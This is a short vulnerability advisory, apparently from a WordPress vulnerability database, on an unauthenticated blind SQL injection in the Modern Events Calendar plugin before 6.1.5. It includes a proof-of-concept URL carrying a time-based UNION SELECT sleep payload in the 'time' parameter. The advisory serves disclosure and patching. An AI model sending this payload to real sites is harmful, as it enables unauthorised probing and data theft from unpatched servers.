WordPress Plugin Vulnerabilities

Modern Events Calendar < 6.1.5 - Unauthenticated Blind SQL Injection

Description

The plugin does not sanitise and escape the time parameter before using it in a SQL statement in the mec_load_single_page AJAX action, available to unauthenticated users, leading to an unauthenticated SQL injection issue

Proof of Concept

https://example.com/wp-admin/admin-ajax.php?action=mec_load_single_page&time=1))%20UNION%20SELECT%20sleep(10)%20--%20g

Affects Plugins

References

Classification

Type
SQLI
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes

Timeline

Publicly Published
2021-11-15 (about 2 years ago)
Added
2021-11-15 (about 2 years ago)
Last Updated
2022-04-11 (about 2 years ago)

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